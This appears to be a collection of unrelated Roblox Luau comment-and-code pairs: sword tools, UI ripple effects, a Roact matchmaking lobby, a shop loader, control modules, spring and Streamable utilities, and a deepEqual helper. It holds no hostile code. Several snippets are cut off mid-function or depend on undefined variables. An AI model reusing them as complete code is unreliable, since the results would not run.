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--[=[
Throws an error if the Brio is dead.
```lua
brio.DEAD:ErrorIfDead() --> ERROR: [Brio.ErrorIfDead] - Brio is dead
```
]=] |
function Brio:ErrorIfDead()
if not self._values then
error("[Brio.ErrorIfDead] - Brio is dead")
end
end
|
-- This Wait To On Ragdoll |
wait(1)
local UTJoint = character.UpperTorso:FindFirstChild("WaistRigAttachment")
local LTJoint = character.LowerTorso:FindFirstChild("WaistRigAttachment") |
--//Custom Functions\\-- |
function FindKiller(victimTeamColor, victim)
local creator = victim:FindFirstChildOfClass("ObjectValue")
if creator and (string.lower(creator.Name) == "creator") and creator.Value then
sendFeed:FireAllClients({creator, victim, victimTeamColor})
elseif not creator then
sendFeed:FireAllClients({victim, victimTeamColor})
end
end
|
--Enter the name of the model you want to go to here.
------------------------------------ |
modelname="teleporter1c" |
-- Script Below |
local frame = script.Parent
local rgb = Color3.fromRGB
local ud2 = UDim2.new
repeat
wait()
until game.Players.LocalPlayer
local plr = game.Players.LocalPlayer
local mouse = plr:GetMouse()
frame.ClipsDescendants = true
frame.AutoButtonColor = false
function tweenInRipple(ripple)
spawn(function()
local TweenService = game:GetService("TweenService")
local Part = ripple
local Info = TweenInfo.new(
TimeLength,
Enum.EasingStyle.Linear,
Enum.EasingDirection.InOut,
0,
false,
0
)
local Goals =
{
Size = ud2(0, PixelSize, 0, PixelSize);
}
local Tween = TweenService:Create(Part, Info, Goals)
Tween:Play()
end)
end
function fadeOutRipple(ripple)
spawn(function()
local TweenService = game:GetService("TweenService")
local Part = ripple
local Info = TweenInfo.new(
FadeLength,
Enum.EasingStyle.Linear,
Enum.EasingDirection.InOut,
0,
false,
0
)
local Goals =
{
ImageTransparency = 1;
}
local Tween = TweenService:Create(Part, Info, Goals)
Tween:Play()
wait(FadeLength + 0.1)
ripple:Destroy()
end)
end
frame.MouseButton1Down:Connect(function()
local done = false
local ripple = script.Circle:Clone()
ripple.Parent = frame
ripple.ZIndex = frame.ZIndex + 1
ripple.ImageColor3 = RippleColor
ripple.ImageTransparency = RippleTransparency
tweenInRipple(ripple)
frame.MouseButton1Up:Connect(function()
if done == false then
done = true
fadeOutRipple(ripple)
end
end)
wait(4);
done = true;
fadeOutRipple(ripple) -- if it doesnt detect that it was unselected
end)
|
--For Omega Rainbow Katana thumbnail to display a lot of particles. |
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Rate = 20
end
end
Tool.Grip = Grips.Up
Tool.Enabled = true
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
UntagHumanoid(humanoid)
if math.random(0, 4) == 0 then
task.spawn(function()
Activated()
end)
end
humanoid:TakeDamage(Damage)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
--[[
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
]]
task.wait(0.2)
Tool.Grip = Grips.Out
task.wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = task.wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--task.wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
------------------------------------------------ |
function Lobby:resetSelectedObject()
if UserInputService.GamepadEnabled then
GuiService.SelectedObject = self.navigationsRefs[1]:getValue()
end
end
function Lobby:startMatchmaking(modeSelection)
self:setState({
status = 'connecting',
})
-- TEMP: Forcing queue selection
local joinData = {
type = "JOIN",
queue_selection = modeSelection,
}
self.joinEvent:FireServer(joinData)
self:resetSelectedObject()
end
function Lobby:stopMatchmaking()
self:setState({
status = 'ready',
})
local data = {
type = "CANCEL"
}
self.joinEvent:FireServer(data)
self:resetSelectedObject()
end
function Lobby:init()
local isBot = Util.playerIsBot(Players.LocalPlayer)
self:setState({
isBot = isBot,
})
local refs = {}
for _, _ in ipairs(Conf.ui_mode_list) do
table.insert(refs, Roact.createRef())
end
self.navigationsRefs = refs
end
function Lobby:didMount()
self.statusEvent = ReplicatedStorage:WaitForChild("StatusEvent")
self.joinEvent = ReplicatedStorage:WaitForChild("JoinEvent")
self.connection = self.statusEvent.OnClientEvent:Connect(function(data)
self:setState({
status = data.canceled and 'ready',
statusText = data.statusText,
})
end)
if self.state.isBot then
self:startMatchmaking()
end
self:resetSelectedObject()
end
function Lobby:willUnmount()
self.connection:Disconnect()
end
function Lobby:render()
local children = {}
local status = self.state.status or 'ready'
if self.state.isBot then
children.botLabel = Roact.createElement("TextLabel", {
Text = "This player has been flagged as a test bot",
Position = UDim2.new(0.5, 0, 0.5, 0),
Size = UDim2.new(0, 500, 0, 26),
})
else
if status == 'ready' then
children.Layout = Roact.createElement("UIListLayout", {
SortOrder = Enum.SortOrder.LayoutOrder,
FillDirection = Enum.FillDirection.Vertical,
Padding = UDim.new(0, 20),
})
for i, mode in ipairs(Conf.ui_mode_list) do
local data = Conf.modes[mode]
children["playButton." .. mode] = Roact.createElement("TextButton", {
[Roact.Ref] = self.navigationsRefs[i],
NextSelectionUp = self.navigationsRefs[i - 1],
NextSelectionDown = self.navigationsRefs[i + 1],
Size = UDim2.new(0, 300, 0, 50),
Font = Enum.Font.GothamBlack,
TextSize = 32,
BorderSizePixel = 3,
Text = data.title,
BackgroundColor3 = Color3.fromRGB(255, 239, 39),
[Roact.Event.Activated] = function() self:startMatchmaking(mode) end,
LayoutOrder = i,
})
end
else
children.cancelButton = Roact.createElement("TextButton", {
[Roact.Ref] = self.navigationsRefs[1],
Size = UDim2.new(0, 300, 0, 50),
Font = Enum.Font.GothamBlack,
TextSize = 32,
BorderSizePixel = 3,
Text = "CANCEL",
BackgroundColor3 = Color3.fromRGB(255, 200, 39),
[Roact.Event.Activated] = function() self:stopMatchmaking() end,
})
end
end
if self.state.statusText then
children.joinStatus = Roact.createElement("TextLabel", {
Text = self.state.statusText
})
end
return Roact.createElement("ScreenGui", {
IgnoreGuiInset = true,
ResetOnSpawn = false,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
}, {
Roact.createElement("Frame", {
Transparency = 1,
AnchorPoint = Vector2.new(1, 1),
Size = UDim2.new(0, 400, 0, 280),
Position = UDim2.new(1, 0, 1, 0),
}, children)
})
end
|
--[=[
@class Streamable
@client
Because parts in StreamingEnabled games can stream in and out of existence at
any point in time, it is hard to write code to interact with them. This is
where Streamables come into play. Streamables will observe the existence of
a given instance, and will signal when the instance exists and does not
exist.
The API is very simple. Create a Streamable that points to a certain parent
and looks for a specific child instance (typically a BasePart). Then, call
the `Observe` method to observe when the instance streams in and out.
```lua
local Streamable = require(packages.Streamable).Streamable
-- Models might take a bit to load, but the model instance
-- is never removed, thus we can use WaitForChild.
local model = workspace:WaitForChild("MyModel")
-- Watch for a specific part in the model:
local partStreamable = Streamable.new(model, "SomePart")
partStreamable:Observe(function(part, trove)
print(part:GetFullName() .. " added")
-- Run code on the part here.
-- Use the trove to manage cleanup when the part goes away.
trove:Add(function()
-- General cleanup stuff
print(part.Name .. " removed")
end)
end)
-- Watch for the PrimaryPart of a model to exist:
local primaryStreamable = Streamable.primary(model)
primaryStreamable:Observe(function(primary, trove)
print("Model now has a PrimaryPart:", primary.Name)
trove:Add(function()
print("Model's PrimaryPart has been removed")
end)
end)
-- At any given point, accessing the Instance field will
-- reference the observed part, if it exists:
if partStreamable.Instance then
print("Streamable has its instance:", partStreamable.Instance)
end
-- When/if done, call Destroy on the streamable, which will
-- also clean up any observers:
partStreamable:Destroy()
primaryStreamable:Destroy()
```
For more information on the mechanics of how StreamingEnabled works
and what sort of behavior to expect, see the
[Content Streaming](https://developer.roblox.com/en-us/articles/content-streaming#technical-behavior)
page. It is important to understand that only BaseParts and their descendants are streamed in/out,
whereas other instances are loaded during the initial client load. It is also important to understand
that streaming only occurs on the client. The server has immediate access to everything right away.
]=] |
local Streamable = {}
Streamable.__index = Streamable
|
--CHANGE THIS LINE-- (Turn) |
Turn = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal2 -- Change last word |
--once someone talks to the shopkeeper, the GUI will be cloned to the player, and this script will be cloned to the GUI and then enabled to load all the items |
shop = game.ServerStorage:findFirstChild(script.Parent.Name)
gui = script.Parent.CenterFrame.Shop
gui.Header.Text = script.Parent.Name
items = shop:GetChildren()
xv = 0
yv = 0
for i,v in pairs(items) do
if v.className == "Model" then
local button = gui.Items.BaseButton:clone() --make new button for each item
button.Parent = gui.Items
button.Name = v.Name
button.Image = "http://www.roblox.com/asset/?id="..v.DecalID.Value
button.Position = UDim2.new(0, xv*80, 0, yv*80)
xv = xv + 1
if xv == 4 then
xv = 0
yv = yv + 1
end
local desc = v.ItemDesc:clone() --place the item desc into the button
desc.Parent = button
local cost = v.ItemCost:clone()
cost.Parent = button
button.Visible = true
end
end
|
--Updated for R15 avatars by StarWars |
local Tool = script.Parent;
debris = game:GetService("Debris")
enabled = true
local sounds = {Tool.Handle.MoneySound1, Tool.Handle.MoneySound2, Tool.Handle.MoneySound3}
local buck = nil
buck = Instance.new("Part")
buck.formFactor = 2
buck.Size = Vector3.new(2,.4,1)
buck.BrickColor = BrickColor.new(28)
buck.TopSurface = 0
buck.BottomSurface = 0
buck.Elasticity = .01
local d = Instance.new("Decal")
d.Face = 4
d.Texture = "http://www.roblox.com/asset/?id=16658163"
d.Parent = buck
local d2 = d:Clone()
d2.Face = 1
d2.Parent = buck
function isTurbo(character)
return character:FindFirstChild("Monopoly") ~= nil
end
function MakeABuck(pos)
local limit = 5
if (isTurbo(Tool.Parent) == true) then
limit = 15 -- LOL!
end
for i=1,limit do
local b = buck:Clone()
local v = Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit
b.CFrame = CFrame.new(pos + (v * 2) + Vector3.new(0,4,0), v)
b.Parent = game.Workspace
debris:AddItem(b, 60)
end
end
function onActivated()
if not enabled then
return
end
enabled = false
local char = Tool.Parent
sounds[math.random(3)]:Play()
MakeABuck(Tool.Handle.Position)
local Torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
local RightArm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightUpperArm")
local RightShoulder = Torso:FindFirstChild("Right Shoulder") or RightArm:FindFirstChild("RightShoulder")
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3
wait(.2)
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3
wait(.2)
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3
wait(.2)
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3
wait(.2)
RightShoulder.MaxVelocity = 1
|
--[[ -- поиск максимального индекса потомков
local num = 0
local temp= sf:GetChildren() -- стартовый индекс
if #temp ~= 1 then
for a,b in pairs(temp) do
if b.Name ~= "UI" then
if b.LayoutOrder > num then
num = b.LayoutOrder
end
end
end
else
num = 0
end
]] |
-- добавление новых элементов в список
for a,b in pairs(tmp) do
local x = b:FindFirstChild("text")
if x then |
--[=[
Observes the spring animating
@return Observable<T>
]=] |
function SpringObject:ObserveRenderStepped()
return self:ObserveOnSignal(RunService.RenderStepped)
end
function SpringObject:ObserveVelocityOnRenderStepped()
return self:ObserveVelocityOnSignal(RunService.RenderStepped)
end
function SpringObject:ObserveVelocityOnSignal(signal)
return Observable.new(function(sub)
local maid = Maid.new()
local startAnimate, stopAnimate = StepUtils.bindToSignal(signal, function()
local animating = SpringUtils.animating(self._currentSpring)
if animating then
sub:Fire(SpringUtils.fromLinearIfNeeded(self._currentSpring.Velocity))
else
sub:Fire(SpringUtils.fromLinearIfNeeded(0*self._currentSpring.Velocity))
end
return animating
end)
maid:GiveTask(stopAnimate)
maid:GiveTask(self.Changed:Connect(startAnimate))
startAnimate()
return maid
end)
end
|
--[[==============================================================================
HOW TO USE:
Put this inside StarterPlayer > StarterPlayerScript and this script will make
DESCRIPTION:
The camera type - custom has changed from Roblox on 30/11/2020
This script is to change the camera type to track (The old vehicle camera type)
You should use this script for temporary use and change all the camera script in your game from Custom to Track
==============================================================================--]] |
local cam = workspace.CurrentCamera
function UpdateCamera()
if cam.CameraType == Enum.CameraType.Custom then
cam.CameraType = Enum.CameraType.Track
end
end
cam:GetPropertyChangedSignal("CameraType"):Connect(UpdateCamera)
UpdateCamera()
|
--[[ Modules ]] | --
local ClickToMoveTouchControls = nil
local ControlModules = {}
local MasterControl = require(script:WaitForChild('MasterControl'))
local ThumbstickModule = require(script.MasterControl:WaitForChild('Thumbstick'))
local ThumbpadModule = require(script.MasterControl:WaitForChild('Thumbpad'))
local DPadModule = require(script.MasterControl:WaitForChild('DPad'))
local DefaultModule = ControlModules.Thumbstick
local TouchJumpModule = require(script.MasterControl:WaitForChild('TouchJump'))
local keyboardModule = require(script.MasterControl:WaitForChild('KeyboardMovement'))
ControlModules.Gamepad = require(script.MasterControl:WaitForChild('Gamepad'))
function getTouchModule()
local module = nil
if not IsUserChoice then
if DevMovementMode == Enum.DevTouchMovementMode.Thumbstick then
module = ThumbstickModule
isJumpEnabled = true
elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbpad then
module = ThumbpadModule
isJumpEnabled = true
elseif DevMovementMode == Enum.DevTouchMovementMode.DPad then
module = DPadModule
isJumpEnabled = false
elseif DevMovementMode == Enum.DevTouchMovementMode.ClickToMove then
-- Managed by CameraScript
module = nil
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
module = nil
end
else
if UserMovementMode == Enum.TouchMovementMode.Default or UserMovementMode == Enum.TouchMovementMode.Thumbstick then
module = ThumbstickModule
isJumpEnabled = true
elseif UserMovementMode == Enum.TouchMovementMode.Thumbpad then
module = ThumbpadModule
isJumpEnabled = true
elseif UserMovementMode == Enum.TouchMovementMode.DPad then
module = DPadModule
isJumpEnabled = false
elseif UserMovementMode == Enum.TouchMovementMode.ClickToMove then
-- Managed by CameraScript
module = nil
end
end
return module
end
function setJumpModule(isEnabled)
if not isEnabled then
TouchJumpModule:Disable()
elseif ControlState.Current == ControlModules.Touch then
TouchJumpModule:Enable()
end
end
function setClickToMove()
if DevMovementMode == Enum.DevTouchMovementMode.ClickToMove or DevMovementMode == Enum.DevComputerMovementMode.ClickToMove or
UserMovementMode == Enum.ComputerMovementMode.ClickToMove or UserMovementMode == Enum.TouchMovementMode.ClickToMove then
--
if lastInputType == Enum.UserInputType.Touch then
ClickToMoveTouchControls = ControlState.Current
end
elseif ClickToMoveTouchControls then
ClickToMoveTouchControls:Disable()
ClickToMoveTouchControls = nil
end
end
ControlModules.Touch = {}
ControlModules.Touch.Current = nil
ControlModules.Touch.LocalPlayerChangedCon = nil
ControlModules.Touch.GameSettingsChangedCon = nil
function ControlModules.Touch:RefreshControlStyle()
if ControlModules.Touch.Current then
ControlModules.Touch.Current:Disable()
end
setJumpModule(false)
TouchJumpModule:Disable()
ControlModules.Touch:Enable()
end
function ControlModules.Touch:DisconnectEvents()
if ControlModules.Touch.LocalPlayerChangedCon then
ControlModules.Touch.LocalPlayerChangedCon:disconnect()
ControlModules.Touch.LocalPlayerChangedCon = nil
end
if ControlModules.Touch.GameSettingsChangedCon then
ControlModules.Touch.GameSettingsChangedCon:disconnect()
ControlModules.Touch.GameSettingsChangedCon = nil
end
end
function ControlModules.Touch:Enable()
DevMovementMode = LocalPlayer.DevTouchMovementMode
IsUserChoice = DevMovementMode == Enum.DevTouchMovementMode.UserChoice
if IsUserChoice then
UserMovementMode = GameSettings.TouchMovementMode
end
local newModuleToEnable = getTouchModule()
if newModuleToEnable then
setClickToMove()
setJumpModule(isJumpEnabled)
newModuleToEnable:Enable()
ControlModules.Touch.Current = newModuleToEnable
if isJumpEnabled then TouchJumpModule:Enable() end
end
-- This being within the above if statement was causing issues with ClickToMove, which isn't a module within this script.
ControlModules.Touch:DisconnectEvents()
ControlModules.Touch.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property)
if property == 'DevTouchMovementMode' then
ControlModules.Touch:RefreshControlStyle()
end
end)
ControlModules.Touch.GameSettingsChangedCon = GameSettings.Changed:connect(function(property)
if property == 'TouchMovementMode' then
ControlModules.Touch:RefreshControlStyle()
end
end)
end
function ControlModules.Touch:Disable()
ControlModules.Touch:DisconnectEvents()
local newModuleToDisable = getTouchModule()
if newModuleToDisable == ThumbstickModule or
newModuleToDisable == DPadModule or
newModuleToDisable == ThumbpadModule then
newModuleToDisable:Disable()
setJumpModule(false)
TouchJumpModule:Disable()
end
end
local function getKeyboardModule()
-- NOTE: Click to move still uses keyboard. Leaving cases in case this ever changes.
local whichModule = nil
if not IsUserChoice then
if DevMovementMode == Enum.DevComputerMovementMode.KeyboardMouse then
whichModule = keyboardModule
elseif DevMovementMode == Enum.DevComputerMovementMode.ClickToMove then
-- Managed by CameraScript
whichModule = keyboardModule
end
else
if UserMovementMode == Enum.ComputerMovementMode.KeyboardMouse or UserMovementMode == Enum.ComputerMovementMode.Default then
whichModule = keyboardModule
elseif UserMovementMode == Enum.ComputerMovementMode.ClickToMove then
-- Managed by CameraScript
whichModule = keyboardModule
end
end
return whichModule
end
ControlModules.Keyboard = {}
function ControlModules.Keyboard:RefreshControlStyle()
ControlModules.Keyboard:Disable()
ControlModules.Keyboard:Enable()
end
function ControlModules.Keyboard:Enable()
DevMovementMode = LocalPlayer.DevComputerMovementMode
IsUserChoice = DevMovementMode == Enum.DevComputerMovementMode.UserChoice
if IsUserChoice then
UserMovementMode = GameSettings.ComputerMovementMode
end
local newModuleToEnable = getKeyboardModule()
if newModuleToEnable then
newModuleToEnable:Enable()
end
ControlModules.Keyboard:DisconnectEvents()
ControlModules.Keyboard.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property)
if property == 'DevComputerMovementMode' then
ControlModules.Keyboard:RefreshControlStyle()
end
end)
ControlModules.Keyboard.GameSettingsChangedCon = GameSettings.Changed:connect(function(property)
if property == 'ComputerMovementMode' then
ControlModules.Keyboard:RefreshControlStyle()
end
end)
end
function ControlModules.Keyboard:DisconnectEvents()
if ControlModules.Keyboard.LocalPlayerChangedCon then
ControlModules.Keyboard.LocalPlayerChangedCon:disconnect()
ControlModules.Keyboard.LocalPlayerChangedCon = nil
end
if ControlModules.Keyboard.GameSettingsChangedCon then
ControlModules.Keyboard.GameSettingsChangedCon:disconnect()
ControlModules.Keyboard.GameSettingsChangedCon = nil
end
end
function ControlModules.Keyboard:Disable()
ControlModules.Keyboard:DisconnectEvents()
local newModuleToDisable = getKeyboardModule()
if newModuleToDisable then
newModuleToDisable:Disable()
end
end
if IsTouchDevice then
BindableEvent_OnFailStateChanged = script.Parent:WaitForChild('OnClickToMoveFailStateChange')
end
|
--Time changer for both Sword of Light & Darkness
--Cool aesthetics included |
function Create(ty)
return function(data)
local obj = Instance.new(ty)
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
else
obj[k] = v
end
end
return obj
end
end
local Services = {
Players = (game:FindService("Players") or game:GetService("Players")),
TweenService = (game:FindService("TweenService") or game:GetService("TweenService")),
RunService = (game:FindService("RunService") or game:GetService("RunService")),
Debris = (game:FindService("Debris") or game:GetService("Debris")),
ReplicatedStorage = (game:FindService("ReplicatedStorage") or game:GetService("ReplicatedStorage")),
Lighting = (game:FindService("Lighting") or game:GetService("Lighting")),
ServerScriptService = (game:FindService("ServerScriptService") or game:GetService("ServerScriptService"))
}
local Creator,Time,SpawnPosition,TimeSound,ChargeReady,Strike = script:WaitForChild("Creator").Value,script:WaitForChild("Time").Value,script:WaitForChild("SpawnPosition").Value,script:WaitForChild("TimeSound"),script:WaitForChild("ChargeReady"),script:WaitForChild("Strike")
local Stars,StarSplash = script:WaitForChild("Stars"),script:WaitForChild("StarSplash")
local BeamWidth,BeamHeight = 7,1000
local LightBeam = Create("Part"){
Material = Enum.Material.Neon,
Name = "Light Beam",
Size = Vector3.new(0,BeamWidth,BeamWidth),
Shape = Enum.PartType.Cylinder,
TopSurface = Enum.SurfaceType.Smooth,
BottomSurface = Enum.SurfaceType.Smooth,
Color = Color3.fromRGB(255,255,203),
Anchored = true,
CanCollide = false,
Locked = true,
}
local CelestialCircle = Create("Part"){
Size = Vector3.new(1,.5,1),
Anchored = true,
CanCollide = false,
Locked = true,
Name = "CelestialCircle",
Transparency = 1
}
TimeSound.Parent = CelestialCircle
ChargeReady.Parent = CelestialCircle
Strike.Parent = CelestialCircle
Stars.Parent = CelestialCircle
StarSplash.Parent = CelestialCircle
local CelestialUI = script:WaitForChild("CelestialCircle")
CelestialUI.Face = Enum.NormalId.Top
CelestialUI.Parent = CelestialCircle
CelestialUI.Enabled = true
local CelestialImage = CelestialUI:WaitForChild("Circle")
CelestialImage.ImageColor3 = Color3.fromRGB(255,255,203)
CelestialUI2 = CelestialUI:Clone()
CelestialUI2.Face = Enum.NormalId.Bottom
CelestialUI2.Parent = CelestialCircle
local CelestialImage2 = CelestialUI:WaitForChild("Circle")
CelestialCircle.CFrame = CFrame.new(SpawnPosition)
CelestialCircle.Parent = workspace
Stars.Enabled = true
ChargeReady:Play()
TimeSound:Play()
coroutine.wrap(function()
while CelestialCircle and CelestialCircle:IsDescendantOf(workspace) do
CelestialCircle.CFrame = CelestialCircle.CFrame * CFrame.Angles(0,math.rad(-3),0)
Services.RunService.Heartbeat:Wait()
end
script:Destroy()
end)()
coroutine.wrap(function()
--Cast large beam of light!
LightBeam.Parent = workspace
for i=0,60,1 do
if LightBeam then
LightBeam.Size = Vector3.new((i/60)*BeamHeight,BeamWidth,BeamWidth)
LightBeam.CFrame = (CFrame.new(SpawnPosition) + Vector3.new(0,BeamHeight-(LightBeam.Size.X/2),0)) * CFrame.Angles(0,0,math.rad(90))
end
Services.RunService.Heartbeat:Wait()
end
StarSplash:Emit(StarSplash.Rate)
Strike:Play()
wait(1/2)
for i=0,45,1 do
if LightBeam then
LightBeam.Size = Vector3.new(BeamHeight,BeamWidth,BeamWidth):Lerp(Vector3.new(BeamHeight,BeamWidth * 10,BeamWidth * 10),i/45)
LightBeam.CFrame = (CFrame.new(SpawnPosition) + Vector3.new(0,BeamHeight-(LightBeam.Size.X/2),0)) * CFrame.Angles(0,0,math.rad(90))
LightBeam.Transparency = (i/45)
end
Services.RunService.Heartbeat:Wait()
end
if LightBeam then LightBeam:Destroy() end
end)()
for i=0,50,1 do
if CelestialCircle then
CelestialCircle.Size = Vector3.new(i,.5,i)
CelestialImage.ImageTransparency = (1-(i/50))
CelestialImage2.ImageTransparency = (1-(i/50))
end
Services.RunService.Heartbeat:Wait()
end
Services.Lighting.GeographicLatitude = 41.733
local TimeTween = Services.TweenService:Create(Services.Lighting,TweenInfo.new(2,Enum.EasingStyle.Sine,Enum.EasingDirection.Out,0,false,0),{ClockTime = Time})
TimeTween:Play();TimeTween.Completed:Wait()
Stars.Enabled = false
for i=50,0,-1 do
if CelestialCircle then
CelestialCircle.Size = Vector3.new(i,.5,i)
CelestialImage.ImageTransparency = (1-(i/50))
CelestialImage2.ImageTransparency = (1-(i/50))
end
Services.RunService.Heartbeat:Wait()
end
wait(Strike.TimeLength)
if CelestialCircle then
CelestialCircle:Destroy()
end
script:Destroy()
|
--[[
Takes two tables A and B, returns if they are deeply equal. ignoreMetatables specifies if metatables should be ignored
in the deep compare
Assumes tables do not have self-references
]] |
local function deepEqual(A, B, ignoreMetatables)
if A == B then
return true
end
local AType = type(A)
local BType = type(B)
if AType ~= BType then
return false
end
if AType ~= "table" then
return false
end
if not ignoreMetatables then
local mt1 = getmetatable(A)
if mt1 and mt1.__eq then
--compare using built in method
return A == B
end
end
local keySet = {}
for key1, value1 in pairs(A) do
local value2 = B[key1]
if value2 == nil or not deepEqual(value1, value2, ignoreMetatables) then
return false
end
keySet[key1] = true
end
for key2, _ in pairs(B) do
if not keySet[key2] then
return false
end
end
return true
end
return deepEqual
|
--For Omega Rainbow Katana thumbnail to display a lot of particles. |
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Rate = 20
end
end
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function Blow(Hit)
if not Hit or not Hit.Parent or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
humanoid:TakeDamage(Damage)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
--[[
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
]]
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function Equipped()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
local Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Use.OnServerEvent:Connect(Activated)
Tool.Equip.OnServerEvent:Connect(Equipped)
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
-- print(plr.Name) |
